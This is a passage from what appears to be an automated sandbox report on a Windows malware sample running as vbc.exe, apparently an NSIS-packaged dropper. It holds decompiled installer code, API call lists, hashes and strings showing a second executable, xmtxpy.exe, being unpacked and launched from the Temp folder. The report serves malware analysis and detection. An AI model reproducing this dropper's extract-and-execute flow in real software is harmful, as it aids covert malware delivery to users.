SendMessageA.USER32 ref: 00403A22
IsWindowEnabled.USER32(00000000), ref: 00403A29
GetDlgItem.USER32(?,00000001), ref: 00403AD7
GetDlgItem.USER32(?,00000002), ref: 00403AE1
SetClassLongA.USER32(?,000000F2,?), ref: 00403AFB
SendMessageA.USER32 ref: 00403B4C
GetDlgItem.USER32(?,00000003), ref: 00403BF2
ShowWindow.USER32(00000000,?), ref: 00403C13
EnableWindow.USER32(?,?), ref: 00403C25
EnableWindow.USER32(?,?), ref: 00403C40
GetSystemMenu.USER32 ref: 00403C56
EnableMenuItem.USER32 ref: 00403C5D
SendMessageA.USER32 ref: 00403C75
SendMessageA.USER32 ref: 00403C88
lstrlenA.KERNEL32(00420498,?,00420498,fwwmjbqpxzax Setup), ref: 00403CB1
SetWindowTextA.USER32(?,00420498), ref: 00403CC0
ShowWindow.USER32(?,0000000A), ref: 00403DF4

Strings

fwwmjbqpxzax Setup, xrefs: 00403CA2

Memory Dump Source

Source File: 00000004.00000002.465307477.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.465300422.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.465317101.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.465324475.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.465332520.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.465357223.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.465365833.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.465373563.000000000042C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_vbc.jbxd

Similarity

API ID: Window$Item$MessageSend$EnableShow$LongMenu$ClassDestroyEnabledSystemTextlstrlen
String ID: fwwmjbqpxzax Setup
API String ID: 184305955-1093331389
Opcode ID: 71dbbfc470e5b7342f3a842f49b25357194f1f96d8345790fbe5660f06a32eef
Instruction ID: caafd2a66b76c4ae3962cc82e2ded254e31ce9ec1c8840106f3b43a2641cb278
Opcode Fuzzy Hash: 71dbbfc470e5b7342f3a842f49b25357194f1f96d8345790fbe5660f06a32eef
Instruction Fuzzy Hash: 95C1AF71A04204BBDB206F21ED85E2B7E7CEB05706F40453EF641B12E1C779AA429F6E

Uniqueness

Uniqueness Score: -1.00%

Function 004035E3 Relevance: 51.0, APIs: 15, Strings: 14, Instructions: 213
stringregistrylibraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 96%

			E004035E3() {
				intOrPtr _v4;
				intOrPtr _v8;
				int _v12;
				int _v16;
				char _v20;
				void* __ebx;
				void* __edi;
				void* __esi;
				intOrPtr* _t20;
				signed int _t24;
				void* _t28;
				void* _t30;
				int _t31;
				void* _t34;
				struct HINSTANCE__* _t37;
				int _t38;
				intOrPtr _t39;
				int _t42;
				intOrPtr _t59;
				char _t61;
				CHAR* _t63;
				signed char _t67;
				struct HINSTANCE__* _t75;
				CHAR* _t78;
				intOrPtr _t80;
				CHAR* _t85;

				_t80 =  *0x423eb0; // 0x8c0fa0
				_t20 = E00405DA3(6);
				_t87 = _t20;
				if(_t20 == 0) {
					_t78 = 0x420498;
					"1033" = 0x7830;
					E0040596C(0x80000001, "Control Panel\\Desktop\\ResourceLocale", 0, 0x420498, 0);
					__eflags =  *0x420498;
					if(__eflags == 0) {
						E0040596C(0x80000003, ".DEFAULT\\Control Panel\\International",  &M00407302, 0x420498, 0);
					}
					lstrcatA("1033", _t78);
				} else {
					E004059E3("1033",  *_t20() & 0x0000ffff);
				}
				E00403897(_t75, _t87);
				_t24 =  *0x423eb8; // 0x80
				_t84 = "C:\\Users\\Albus\\AppData\\Local\\Temp";
				 *0x423f20 = _t24 & 0x00000020;
				if(E00405659(_t87, "C:\\Users\\Albus\\AppData\\Local\\Temp") != 0) {
					L16:
					if(E00405659(_t95, _t84) == 0) {
						E00405AA7(0, _t78, _t80, _t84,  *((intOrPtr*)(_t80 + 0x118)));
					}
					_t28 = LoadImageA( *0x423ea0, 0x67, 1, 0, 0, 0x8040);
					 *0x423688 = _t28;
					if( *((intOrPtr*)(_t80 + 0x50)) == 0xffffffff) {
						L21:
						if(E0040140B(0) == 0) {
							_t30 = E00403897(_t75, __eflags);
							__eflags =  *0x423f40; // 0x0
							if(__eflags != 0) {
								_t31 = E00404EF5(_t30, 0);
								__eflags = _t31;
								if(_t31 == 0) {
									E0040140B(1);
									goto L33;
								}
								__eflags =  *0x42366c; // 0x7fffffff
								if(__eflags == 0) {
									E0040140B(2);
								}
								goto L22;
							}
							ShowWindow( *0x420470, 5); // executed
							_t37 = LoadLibraryA("RichEd20"); // executed
							__eflags = _t37;
							if(_t37 == 0) {
								LoadLibraryA("RichEd32");
							}
							_t85 = "RichEdit20A";
							_t38 = GetClassInfoA(0, _t85, 0x423640);
							__eflags = _t38;
							if(_t38 == 0) {
								GetClassInfoA(0, "RichEdit", 0x423640);
								 *0x423664 = _t85;
								RegisterClassA(0x423640);
							}
							_t39 =  *0x423680; // 0x0
							_t42 = DialogBoxParamA( *0x423ea0, _t39 + 0x00000069 & 0x0000ffff, 0, E00403964, 0); // executed
							E0040140B(5);
							return _t42;
						}
						L22:
						_t34 = 2;
						return _t34;
					} else {
						_t75 =  *0x423ea0; // 0x400000
						 *0x423654 = _t28;
						_v20 = 0x624e5f;
						 *0x423644 = E00401000;
						 *0x423650 = _t75;
						 *0x423664 =  &_v20;
						if(RegisterClassA(0x423640) == 0) {
							L33:
							__eflags = 0;
							return 0;
						}
						_t12 =  &_v16; // 0x624e5f
						SystemParametersInfoA(0x30, 0, _t12, 0);
						 *0x420470 = CreateWindowExA(0x80,  &_v20, 0, 0x80000000, _v16, _v12, _v8 - _v16, _v4 - _v12, 0, 0,  *0x423ea0, 0);
						goto L21;
					}
				} else {
					_t75 =  *(_t80 + 0x48);
					if(_t75 == 0) {
						goto L16;
					}
					_t59 =  *0x423ed8; // 0x8c1cb8
					_t78 = 0x422e40;
					E0040596C( *((intOrPtr*)(_t80 + 0x44)), _t75,  *((intOrPtr*)(_t80 + 0x4c)) + _t59, 0x422e40, 0);
					_t61 =  *0x422e40; // 0x43
					if(_t61 == 0) {
						goto L16;
					}
					if(_t61 == 0x22) {
						_t78 = 0x422e41;
						 *((char*)(E004055A3(0x422e41, 0x22))) = 0;
					}
					_t63 = lstrlenA(_t78) + _t78 - 4;
					if(_t63 <= _t78 || lstrcmpiA(_t63, ?str?) != 0) {
						L15:
						E00405A85(_t84, E00405578(_t78));
						goto L16;
					} else {
						_t67 = GetFileAttributesA(_t78);
						if(_t67 == 0xffffffff) {
							L14:
							E004055BF(_t78);
							goto L15;
						}
						_t95 = _t67 & 0x00000010;
						if((_t67 & 0x00000010) != 0) {
							goto L15;
						}
						goto L14;
					}
				}
			}

0x004035e9
0x004035f2
0x004035f9
0x004035fb
0x0040360f
0x00403621
0x0040362b
0x00403630
0x00403636
0x00403649
0x00403649
0x00403654
0x004035fd
0x00403608
0x00403608
0x00403659
0x0040365e
0x00403663
0x0040366c
0x00403678
0x004036ff
0x00403707
0x00403710
0x00403710
0x00403726
0x0040372c
0x0040373a
0x004037c9
0x004037d1
0x004037db
0x004037e0
0x004037e6
0x00403865
0x0040386a
0x0040386c
0x00403888
0x00000000
0x00403888
0x0040386e
0x00403874
0x0040387c
0x0040387c
0x00000000
0x00403874
0x004037f0
0x00403801
0x00403803
0x00403805
0x0040380c
0x0040380c
0x00403814
0x0040381c
0x0040381e
0x00403820
0x00403829
0x0040382c
0x00403832
0x00403832
0x00403838
0x00403851
0x0040385b
0x00000000
0x00403860
0x004037d3
0x004037d5
0x00000000
0x00403740
0x00403740
0x00403746
0x00403750
0x00403758
0x00403762
0x00403768
0x00403776
0x0040388d
0x0040388d
0x00000000
0x0040388d
0x0040377c
0x00403785
0x004037c4
0x00000000
0x004037c4
0x0040367e
0x0040367e
0x00403683
0x00000000
0x00000000
0x00403688
0x0040368d
0x0040369d
0x004036a2
0x004036a9
0x00000000
0x00000000
0x004036ad
0x004036af
0x004036bc
0x004036bc
0x004036c4
0x004036ca
0x004036f2
0x004036fa
0x00000000
0x004036dc
0x004036dd
0x004036e6
0x004036ec
0x004036ed
0x00000000
0x004036ed
0x004036e8
0x004036ea
0x00000000
0x00000000
0x00000000
0x004036ea
0x004036ca

APIs

Part of subcall function 00405DA3: GetModuleHandleA.KERNEL32(?,?,00000000,00403268,00000008), ref: 00405DB5
Part of subcall function 00405DA3: LoadLibraryA.KERNEL32(?), ref: 00405DC0
Part of subcall function 00405DA3: GetProcAddress.KERNEL32(00000000,?,?,00000000,00403268,00000008), ref: 00405DD1

lstrcatA.KERNEL32(1033,00420498,80000001,Control Panel\Desktop\ResourceLocale,00000000,00420498,00000000,00000006,"C:\Users\Public\vbc.exe" ,00000000,C:\Users\user\AppData\Local\Temp\,00000000), ref: 00403654
lstrlenA.KERNEL32(C:\Users\user\AppData\Local\Temp\xmtxpy.exe C:\Users\user\AppData\Local\Temp\npotbzd,?,?,?,C:\Users\user\AppData\Local\Temp\xmtxpy.exe C:\Users\user\AppData\Local\Temp\npotbzd,00000000,C:\Users\user\AppData\Local\Temp,1033,00420498,80000001,Control Panel\Desktop\ResourceLocale,00000000,00420498,00000000,00000006,"C:\Users\Public\vbc.exe" ), ref: 004036BF
lstrcmpiA.KERNEL32(?,.exe,C:\Users\user\AppData\Local\Temp\xmtxpy.exe C:\Users\user\AppData\Local\Temp\npotbzd,?,?,?,C:\Users\user\AppData\Local\Temp\xmtxpy.exe C:\Users\user\AppData\Local\Temp\npotbzd,00000000,C:\Users\user\AppData\Local\Temp,1033,00420498,80000001,Control Panel\Desktop\ResourceLocale,00000000,00420498,00000000), ref: 004036D2
GetFileAttributesA.KERNEL32(C:\Users\user\AppData\Local\Temp\xmtxpy.exe C:\Users\user\AppData\Local\Temp\npotbzd), ref: 004036DD
LoadImageA.USER32(00000067,00000001,00000000,00000000,00008040,C:\Users\user\AppData\Local\Temp), ref: 00403726

Part of subcall function 004059E3: wsprintfA.USER32 ref: 004059F0

RegisterClassA.USER32 ref: 0040376D
SystemParametersInfoA.USER32(00000030,00000000,_Nb,00000000), ref: 00403785
CreateWindowExA.USER32 ref: 004037BE
ShowWindow.USER32(00000005,00000000), ref: 004037F0
LoadLibraryA.KERNEL32(RichEd20), ref: 00403801
LoadLibraryA.KERNEL32(RichEd32), ref: 0040380C
GetClassInfoA.USER32(00000000,RichEdit20A,00423640), ref: 0040381C
GetClassInfoA.USER32(00000000,RichEdit,00423640), ref: 00403829
RegisterClassA.USER32(00423640), ref: 00403832
DialogBoxParamA.USER32 ref: 00403851

Strings

1033, xrefs: 00403603, 0040364F
RichEdit, xrefs: 00403823
RichEd20, xrefs: 004037FC
@6B, xrefs: 00403735
"C:\Users\Public\vbc.exe" , xrefs: 004035EF
.DEFAULT\Control Panel\International, xrefs: 0040363F
_Nb, xrefs: 0040377C, 00403781
Control Panel\Desktop\ResourceLocale, xrefs: 00403617
C:\Users\user\AppData\Local\Temp, xrefs: 00403663, 0040366B, 004036F9, 004036FF, 0040370F
C:\Users\user\AppData\Local\Temp\, xrefs: 004035E7
RichEd32, xrefs: 00403807
.exe, xrefs: 004036CC
C:\Users\user\AppData\Local\Temp\xmtxpy.exe C:\Users\user\AppData\Local\Temp\npotbzd, xrefs: 0040368D, 00403695, 004036A2, 004036EC, 004036F2
RichEdit20A, xrefs: 00403814, 0040381A

Memory Dump Source

Source File: 00000004.00000002.465307477.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.465300422.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.465317101.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.465324475.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.465332520.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.465357223.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.465365833.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.465373563.000000000042C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_vbc.jbxd

Similarity

API ID: ClassLoad$InfoLibrary$RegisterWindow$AddressAttributesCreateDialogFileHandleImageModuleParamParametersProcShowSystemlstrcatlstrcmpilstrlenwsprintf
String ID: "C:\Users\Public\vbc.exe" $.DEFAULT\Control Panel\International$.exe$1033$@6B$C:\Users\user\AppData\Local\Temp$C:\Users\user\AppData\Local\Temp\$C:\Users\user\AppData\Local\Temp\xmtxpy.exe C:\Users\user\AppData\Local\Temp\npotbzd$Control Panel\Desktop\ResourceLocale$RichEd20$RichEd32$RichEdit$RichEdit20A$_Nb
API String ID: 914957316-1845516748
Opcode ID: 1b836ab39891d0ed633b9e8fdaad556c57e04705e63d575667ba9658825fde44
Instruction ID: 5423f1521edd6c22147bc7c07d225ef67cd2e9978b4dd0bca8e1ac87d1580d65
Opcode Fuzzy Hash: 1b836ab39891d0ed633b9e8fdaad556c57e04705e63d575667ba9658825fde44
Instruction Fuzzy Hash: 3A61C0B1644200BED6306F65AC45E3B3AADEB4474AF44457FF940B22E1C77DAD058A2E

Uniqueness

Uniqueness Score: -1.00%

Function 00402C5B Relevance: 26.5, APIs: 5, Strings: 10, Instructions: 203
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 96%

			E00402C5B(void* __eflags, signed int _a4) {
				long _v8;
				long _v12;
				intOrPtr _v16;
				long _v20;
				intOrPtr _v24;
				intOrPtr _v28;
				intOrPtr _v32;
				intOrPtr _v36;
				signed int _v40;
				char _v300;
				signed int _t54;
				void* _t57;
				void* _t62;
				signed int _t63;
				intOrPtr _t65;
				void* _t68;
				intOrPtr* _t70;
				intOrPtr _t71;
				signed int _t77;
				signed int _t79;
				signed int _t82;
				signed int _t83;
				signed int _t89;
				intOrPtr _t92;
				signed int _t101;
				signed int _t103;
				void* _t105;
				signed int _t106;
				signed int _t109;
				void* _t110;

				_v8 = 0;
				_v12 = 0;
				 *0x423eac = GetTickCount() + 0x3e8;
				GetModuleFileNameA(0, "C:\\Users\\Public\\vbc.exe", 0x400);
				_t105 = E0040575C("C:\\Users\\Public\\vbc.exe", 0x80000000, 3);
				 *0x409010 = _t105;
				if(_t105 == 0xffffffff) {
					return "Error launching installer";
				}
				E00405A85("C:\\Users\\Public", "C:\\Users\\Public\\vbc.exe");
				E00405A85(0x42b000, E004055BF("C:\\Users\\Public"));
				_t54 = GetFileSize(_t105, 0);
				__eflags = _t54;
				 *0x41f048 = _t54;
				_t109 = _t54;
				if(_t54 <= 0) {
					L22:
					E00402BC5(1);
					__eflags =  *0x423eb4; // 0x7e00
					if(__eflags == 0) {
						goto L30;
					}
					__eflags = _v12;
					if(_v12 == 0) {
						L26:
						_t57 = GlobalAlloc(0x40, _v20); // executed
						_t110 = _t57;
						E00405E7D(0x40afb0);
						E0040578B( &_v300, "C:\\Users\\Albus\\AppData\\Local\\Temp\\"); // executed
						_t62 = CreateFileA( &_v300, 0xc0000000, 0, 0, 2, 0x4000100, 0); // executed
						__eflags = _t62 - 0xffffffff;
						 *0x409014 = _t62;
						if(_t62 != 0xffffffff) {
							_t63 =  *0x423eb4; // 0x7e00
							_t65 = E004031DA(_t63 + 0x1c);
							 *0x41f04c = _t65;
							 *0x417040 = _t65 - ( !_v40 & 0x00000004) + _v16 - 0x1c; // executed
							_t68 = E00402F01(_v16, 0xffffffff, 0, _t110, _v20); // executed
							__eflags = _t68 - _v20;
							if(_t68 == _v20) {
								__eflags = _v40 & 0x00000001;
								 *0x423eb0 = _t110;
								 *0x423eb8 =  *_t110;
								if((_v40 & 0x00000001) != 0) {
									 *0x423ebc =  *0x423ebc + 1;
									__eflags =  *0x423ebc;
								}
								_t45 = _t110 + 0x44; // 0x44
								_t70 = _t45;
								_t101 = 8;
								do {
									_t70 = _t70 - 8;
									 *_t70 =  *_t70 + _t110;
									_t101 = _t101 - 1;
									__eflags = _t101;
								} while (_t101 != 0);
								_t71 =  *0x41703c; // 0x56a38
								 *((intOrPtr*)(_t110 + 0x3c)) = _t71;
								E0040571D(0x423ec0, _t110 + 4, 0x40);
								__eflags = 0;
								return 0;
							}
							goto L30;
						}
						return "Error writing temporary file. Make sure your temp folder is valid.";
					}
					E004031DA( *0x417038);
					_t77 = E004031A8( &_a4, 4); // executed
					__eflags = _t77;
					if(_t77 == 0) {
						goto L30;
					}
					__eflags = _v8 - _a4;
					if(_v8 != _a4) {
						goto L30;
					}
					goto L26;
				} else {
					do {
						_t79 =  *0x423eb4; // 0x7e00
						_t106 = _t109;
						asm("sbb eax, eax");
						_t82 = ( ~_t79 & 0x00007e00) + 0x200;
						__eflags = _t109 - _t82;
						if(_t109 >= _t82) {
							_t106 = _t82;
						}
						_t83 = E004031A8(0x417048, _t106); // executed
						__eflags = _t83;
						if(_t83 == 0) {
							E00402BC5(1);
							L30:
							return "Installer integrity check has failed. Common causes include\nincomplete download and damaged media. Contact the\ninstaller\'s author to obtain a new copy.\n\nMore information at:\nhttp://nsis.sf.net/NSIS_Error";
						}
						__eflags =  *0x423eb4; // 0x7e00
						if(__eflags != 0) {
							__eflags = _a4 & 0x00000002;
							if((_a4 & 0x00000002) == 0) {
								E00402BC5(0);
							}
							goto L19;
						}
						E0040571D( &_v40, 0x417048, 0x1c);
						_t89 = _v40;
						__eflags = _t89 & 0xfffffff0;
						if((_t89 & 0xfffffff0) != 0) {
							goto L19;
						}
						__eflags = _v36 - 0xdeadbeef;
						if(_v36 != 0xdeadbeef) {
							goto L19;
						}
						__eflags = _v24 - 0x74736e49;
						if(_v24 != 0x74736e49) {
							goto L19;
						}
						__eflags = _v28 - 0x74666f73;
						if(_v28 != 0x74666f73) {
							goto L19;
						}
						__eflags = _v32 - 0x6c6c754e;
						if(_v32 != 0x6c6c754e) {
							goto L19;
						}
						_a4 = _a4 | _t89;
						_t103 =  *0x417038; // 0x196a5
						 *0x423f40 =  *0x423f40 | _a4 & 0x00000002;
						_t92 = _v16;
						__eflags = _t92 - _t109;
						 *0x423eb4 = _t103;
						if(_t92 > _t109) {
							goto L30;
						}
						__eflags = _a4 & 0x00000008;
						if((_a4 & 0x00000008) != 0) {
							L15:
							_v12 = _v12 + 1;
							_t109 = _t92 - 4;
							__eflags = _t106 - _t109;
							if(_t106 > _t109) {
								_t106 = _t109;
							}
							goto L19;
						}
						__eflags = _a4 & 0x00000004;
						if((_a4 & 0x00000004) != 0) {
							goto L22;
						}
						goto L15;
						L19:
						__eflags = _t109 -  *0x41f048; // 0x19be0
						if(__eflags < 0) {
							_v8 = E00405E0F(_v8, 0x417048, _t106);
						}
						 *0x417038 =  *0x417038 + _t106;
						_t109 = _t109 - _t106;
						__eflags = _t109;
					} while (_t109 > 0);
					goto L22;
				}
			}

0x00402c69
0x00402c6c
0x00402c86
0x00402c8b
0x00402c9e
0x00402ca3
0x00402ca9
0x00000000
0x00402cab
0x00402cbc
0x00402ccd
0x00402cd4
0x00402cda
0x00402cdc
0x00402ce1
0x00402ce3
0x00402dd3
0x00402dd5
0x00402dda
0x00402de1
0x00000000
0x00000000
0x00402de7
0x00402dea
0x00402e16
0x00402e1b
0x00402e26
0x00402e28
0x00402e39
0x00402e54
0x00402e5a
0x00402e5d
0x00402e62
0x00402e78
0x00402e81
0x00402e91
0x00402ea3
0x00402ea8
0x00402ead
0x00402eb0
0x00402eb9
0x00402ebd
0x00402ec5
0x00402eca
0x00402ecc
0x00402ecc
0x00402ecc
0x00402ed4
0x00402ed4
0x00402ed7
0x00402ed8
0x00402ed8
0x00402edb
0x00402edd
0x00402edd
0x00402edd
0x00402ee0
0x00402ee7
0x00402ef3
0x00402ef8
0x00000000
0x00402ef8
0x00000000
0x00402eb0
0x00000000
0x00402e64
0x00402df2
0x00402dfd
0x00402e02
0x00402e04
0x00000000
0x00000000
0x00402e0d
0x00402e10
0x00000000
0x00000000
0x00000000
0x00402ce9
0x00402ce9
0x00402ce9
0x00402cee
0x00402cf2
0x00402cf9
0x00402cfe
0x00402d00
0x00402d02
0x00402d02
0x00402d0a
0x00402d0f
0x00402d11
0x00402e70
0x00402eb2
0x00000000
0x00402eb2
0x00402d17
0x00402d1d
0x00402d9d
0x00402da1
0x00402da4
0x00402da9
0x00000000
0x00402da1
0x00402d2a
0x00402d2f
0x00402d32
0x00402d37
0x00000000
0x00000000
0x00402d39
0x00402d40
0x00000000
0x00000000
0x00402d42
0x00402d49
0x00000000
0x00000000
0x00402d4b
0x00402d52
0x00000000
0x00000000
0x00402d54
0x00402d5b
0x00000000
0x00000000
0x00402d5d
0x00402d63
0x00402d6c
0x00402d72
0x00402d75
0x00402d77
0x00402d7d
0x00000000
0x00000000
0x00402d83
0x00402d87
0x00402d8f
0x00402d8f
0x00402d92
0x00402d95
0x00402d97
0x00402d99
0x00402d99
0x00000000
0x00402d97
0x00402d89
0x00402d8d
0x00000000
0x00000000
0x00000000
0x00402daa
0x00402daa
0x00402db0
0x00402dc0
0x00402dc0
0x00402dc3
0x00402dc9
0x00402dcb
0x00402dcb
0x00000000
0x00402ce9

APIs

GetTickCount.KERNEL32("C:\Users\Public\vbc.exe" ,00000000,00000000), ref: 00402C6F
GetModuleFileNameA.KERNEL32(00000000,C:\Users\Public\vbc.exe,00000400), ref: 00402C8B

Part of subcall function 0040575C: GetFileAttributesA.KERNELBASE(00000003,00402C9E,C:\Users\Public\vbc.exe,80000000,00000003), ref: 00405760
Part of subcall function 0040575C: CreateFileA.KERNELBASE(?,?,00000001,00000000,?,00000001,00000000), ref: 00405782

GetFileSize.KERNEL32(00000000,00000000,0042B000,00000000,C:\Users\Public,C:\Users\Public,C:\Users\Public\vbc.exe,C:\Users\Public\vbc.exe,80000000,00000003), ref: 00402CD4
GlobalAlloc.KERNELBASE(00000040,00409128), ref: 00402E1B

Strings

Error writing temporary file. Make sure your temp folder is valid., xrefs: 00402E64
Null, xrefs: 00402D54
C:\Users\user\AppData\Local\Temp\, xrefs: 00402C5B, 00402E33
soft, xrefs: 00402D4B
Installer integrity check has failed. Common causes includeincomplete download and damaged media. Contact theinstaller's author to obtain a new copy.More information at:http://nsis.sf.net/NSIS_Error, xrefs: 00402EB2
C:\Users\Public\vbc.exe, xrefs: 00402C75, 00402C84, 00402C98, 00402CB5
C:\Users\Public, xrefs: 00402CB6, 00402CBB, 00402CC1
Inst, xrefs: 00402D42
Error launching installer, xrefs: 00402CAB
"C:\Users\Public\vbc.exe" , xrefs: 00402C68

Memory Dump Source

Source File: 00000004.00000002.465307477.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.465300422.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.465317101.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.465324475.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.465332520.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.465357223.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.465365833.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.465373563.000000000042C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_vbc.jbxd

Similarity

API ID: File$AllocAttributesCountCreateGlobalModuleNameSizeTick
String ID: "C:\Users\Public\vbc.exe" $C:\Users\user\AppData\Local\Temp\$C:\Users\Public$C:\Users\Public\vbc.exe$Error launching installer$Error writing temporary file. Make sure your temp folder is valid.$Inst$Installer integrity check has failed. Common causes includeincomplete download and damaged media. Contact theinstaller's author to obtain a new copy.More information at:http://nsis.sf.net/NSIS_Error$Null$soft
API String ID: 2803837635-1404970732
Opcode ID: 23dbf256a431c673dcec6fcfeb39f26d17845bcd57e0c5f68381439a59f6d1b4
Instruction ID: 3eb6007c32f8468fb795c2e80af6b0be0f5756db52a0f0690052116b0cd8de19
Opcode Fuzzy Hash: 23dbf256a431c673dcec6fcfeb39f26d17845bcd57e0c5f68381439a59f6d1b4
Instruction Fuzzy Hash: 5B61E231A40204ABDB219F64DE89B9A7BB8AF04315F10417BF905B72D1D7BC9E858B9C

Uniqueness

Uniqueness Score: -1.00%

Function 00401734 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 147
stringtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 75%

			E00401734(FILETIME* __ebx, void* __eflags) {
				void* _t33;
				void* _t41;
				void* _t43;
				FILETIME* _t49;
				FILETIME* _t62;
				void* _t64;
				signed int _t70;
				FILETIME* _t71;
				FILETIME* _t75;
				signed int _t77;
				void* _t80;
				CHAR* _t82;
				void* _t85;

				_t75 = __ebx;
				_t82 = E004029E8(0x31);
				 *(_t85 - 8) = _t82;
				 *(_t85 + 8) =  *(_t85 - 0x24) & 0x00000007;
				_t33 = E004055E5(_t82);
				_push(_t82);
				if(_t33 == 0) {
					lstrcatA(E00405578(E00405A85(0x409b68, "C:\\Users\\Albus\\AppData\\Local\\Temp")), ??);
				} else {
					_push(0x409b68);
					E00405A85();
				}
				E00405CE3(0x409b68);
				while(1) {
					__eflags =  *(_t85 + 8) - 3;
					if( *(_t85 + 8) >= 3) {
						_t64 = E00405D7C(0x409b68);
						_t77 = 0;
						__eflags = _t64 - _t75;
						if(_t64 != _t75) {
							_t71 = _t64 + 0x14;
							__eflags = _t71;
							_t77 = CompareFileTime(_t71, _t85 - 0x18);
						}
						asm("sbb eax, eax");
						_t70 =  ~(( *(_t85 + 8) + 0xfffffffd | 0x80000000) & _t77) + 1;
						__eflags = _t70;
						 *(_t85 + 8) = _t70;
					}
					__eflags =  *(_t85 + 8) - _t75;
					if( *(_t85 + 8) == _t75) {
						E0040573D(0x409b68);
					}
					__eflags =  *(_t85 + 8) - 1;
					_t41 = E0040575C(0x409b68, 0x40000000, (0 |  *(_t85 + 8) != 0x00000001) + 1);
					__eflags = _t41 - 0xffffffff;
					 *(_t85 - 0x34) = _t41;
					if(_t41 != 0xffffffff) {
						break;
					}
					__eflags =  *(_t85 + 8) - _t75;
					if( *(_t85 + 8) != _t75) {
						E00404E23(0xffffffe2,  *(_t85 - 8));
						__eflags =  *(_t85 + 8) - 2;
						if(__eflags == 0) {
							 *((intOrPtr*)(_t85 - 4)) = 1;
						}
						L31:
						 *0x423f28 =  *0x423f28 +  *((intOrPtr*)(_t85 - 4));
						__eflags =  *0x423f28;
						goto L32;
					} else {
						E00405A85(0x40a368, 0x424000);
						E00405A85(0x424000, 0x409b68);
						E00405AA7(_t75, 0x40a368, 0x409b68, 0x409f68,  *((intOrPtr*)(_t85 - 0x10)));
						E00405A85(0x424000, 0x40a368);
						_t62 = E00405346(0x409f68,  *(_t85 - 0x24) >> 3) - 4;
						__eflags = _t62;
						if(_t62 == 0) {
							continue;
						} else {
							__eflags = _t62 == 1;
							if(_t62 == 1) {
								 *0x423f28 =  &( *0x423f28->dwLowDateTime);
								L32:
								_t49 = 0;
								__eflags = 0;
							} else {
								_push(0x409b68);
								_push(0xfffffffa);
								E00404E23();
								L29:
								_t49 = 0x7fffffff;
							}
						}
					}
					L33:
					return _t49;
				}
				E00404E23(0xffffffea,  *(_t85 - 8));
				 *0x423f54 =  *0x423f54 + 1;
				_t43 = E00402F01(_t77,  *((intOrPtr*)(_t85 - 0x1c)),  *(_t85 - 0x34), _t75, _t75); // executed
				 *0x423f54 =  *0x423f54 - 1;
				__eflags =  *(_t85 - 0x18) - 0xffffffff;
				_t80 = _t43;
				if( *(_t85 - 0x18) != 0xffffffff) {
					L22:
					SetFileTime( *(_t85 - 0x34), _t85 - 0x18, _t75, _t85 - 0x18); // executed
				} else {
					__eflags =  *((intOrPtr*)(_t85 - 0x14)) - 0xffffffff;
					if( *((intOrPtr*)(_t85 - 0x14)) != 0xffffffff) {
						goto L22;
					}
				}
				CloseHandle( *(_t85 - 0x34)); // executed
				__eflags = _t80 - _t75;
				if(_t80 >= _t75) {
					goto L31;
				} else {
					__eflags = _t80 - 0xfffffffe;
					if(_t80 != 0xfffffffe) {
						E00405AA7(_t75, _t80, 0x409b68, 0x409b68, 0xffffffee);
					} else {
						E00405AA7(_t75, _t80, 0x409b68, 0x409b68, 0xffffffe9);
						lstrcatA(0x409b68,  *(_t85 - 8));
					}
					_push(0x200010);
					_push(0x409b68);
					E00405346();
					goto L29;
				}
				goto L33;
			}

0x00401734
0x0040173b
0x00401744
0x00401747
0x0040174a
0x0040174f
0x00401757
0x00401773
0x00401759
0x00401759
0x0040175a
0x0040175a
0x00401779
0x00401783
0x00401783
0x00401787
0x0040178a
0x0040178f
0x00401791
0x00401793
0x00401798
0x00401798
0x004017a3
0x004017a3
0x004017b4
0x004017b6
0x004017b6
0x004017b7
0x004017b7
0x004017ba
0x004017bd
0x004017c0
0x004017c0
0x004017c7
0x004017d6
0x004017db
0x004017de
0x004017e1
0x00000000
0x00000000
0x004017e3
0x004017e6
0x00401840
0x00401845
0x004015a8
0x0040264e
0x0040264e
0x0040287d
0x00402880
0x00402880
0x00000000
0x004017e8
0x004017ee
0x004017f9
0x00401806
0x00401811
0x00401827
0x00401827
0x0040182a
0x00000000
